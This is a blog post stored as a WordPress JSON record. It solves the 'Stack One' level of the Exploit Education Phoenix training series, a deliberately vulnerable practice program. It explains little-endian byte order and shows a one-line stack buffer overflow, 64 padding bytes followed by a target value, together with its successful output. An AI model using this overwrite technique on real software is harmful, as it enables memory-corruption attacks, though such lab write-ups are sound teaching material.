{"id":433,"date":"2019-07-09T11:29:43","date_gmt":"2019-07-09T15:29:43","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=433"},"modified":"2019-08-16T13:20:16","modified_gmt":"2019-08-16T17:20:16","slug":"exploit-education-phoenix-stack-one-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-stack-one-solution\/","title":{"rendered":"Exploit Education | Phoenix | Stack One Solution"},"content":{"rendered":"<h1>Stack One<\/h1>\n<p>The description and source code can be found here:<br \/>\n<a href=\"https:\/\/exploit.education\/phoenix\/stack-one\/\">https:\/\/exploit.education\/phoenix\/stack-one\/<\/a><\/p>\n<p>The last conditional shows the value that we need to set the &#8220;<strong>changeme<\/strong>&#8221; variable to:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">if (locals.changeme == 0x496c5962) {\r\n    puts(&quot;Well done, you have successfully set changeme to the correct value&quot;);\r\n} else {\r\n    printf(&quot;Getting closer! changeme is currently 0x%08x, we want 0x496c5962\\n&quot;,\r\n        locals.changeme);\r\n}<\/pre>\n<p>We can use Python again to send non-printable characters to the &#8220;<strong>stack-one<\/strong>&#8221; program:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">print &quot;\\x49\\x6c\\x59\\x62&quot;<\/pre>\n<p>However, we can&#8217;t just tack that onto the end of the 64 A&#8217;s. Because this architecture uses <a href=\"https:\/\/en.wikipedia.org\/wiki\/Endianness#Little\">little-endian<\/a> to store data in memory, we need to reverse the order of those bytes. We can solve the challenge like so:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:\/opt\/phoenix\/amd64$ .\/stack-one $(python -c 'print &quot;A&quot;*64 + &quot;\\x62\\x59\\x6c\\x49&quot;')\r\nWelcome to phoenix\/stack-one, brought to you by https:\/\/exploit.education\r\nWell done, you have successfully set changeme to the correct value<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-stack-one-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Phoenix | Stack One Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-433","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/433","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=433"}],"version-history":[{"count":3,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/433\/revisions"}],"predecessor-version":[{"id":688,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/433\/revisions\/688"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=433"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=433"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=433"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}